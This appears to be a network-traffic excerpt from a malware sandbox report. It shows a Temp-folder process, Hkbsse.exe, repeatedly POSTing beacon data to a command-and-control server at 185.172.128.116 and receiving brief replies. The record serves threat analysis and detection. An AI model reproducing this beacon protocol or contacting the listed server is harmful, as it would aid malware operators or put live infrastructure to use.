Jul 13, 2024 07:08:18.639405966 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:18.834745884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	59054	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:18.957976103 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:19.591934919 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:19.599723101 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:19.804157019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	59055	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:19.978974104 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:20.921730995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:20.922535896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:20.922986984 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:21.115554094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	59056	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:21.235841036 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:21.874716997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:21.878009081 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:22.067929983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	59057	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:22.194253922 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:22.835108042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:22.836148024 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:23.028994083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	59058	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:23.148106098 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:23.797792912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:23.804516077 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:23.998999119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	59059	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:24.111618042 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:24.753762960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:24.754945993 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:24.955394030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	59060	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:25.067167044 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:25.729792118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:25.734278917 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:25.931571960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	59061	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:26.048746109 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:26.694272041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:26.695363998 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:26.886090994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	59062	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:27.001327991 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:27.634556055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:27.640503883 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:27.831435919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	59063	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:28.157610893 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:28.820882082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:28.822117090 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:29.018326044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	59064	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:29.129606009 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:29.908219099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:29.911612034 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:30.107789993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	59065	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:30.221357107 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:30.875575066 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:30.876640081 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
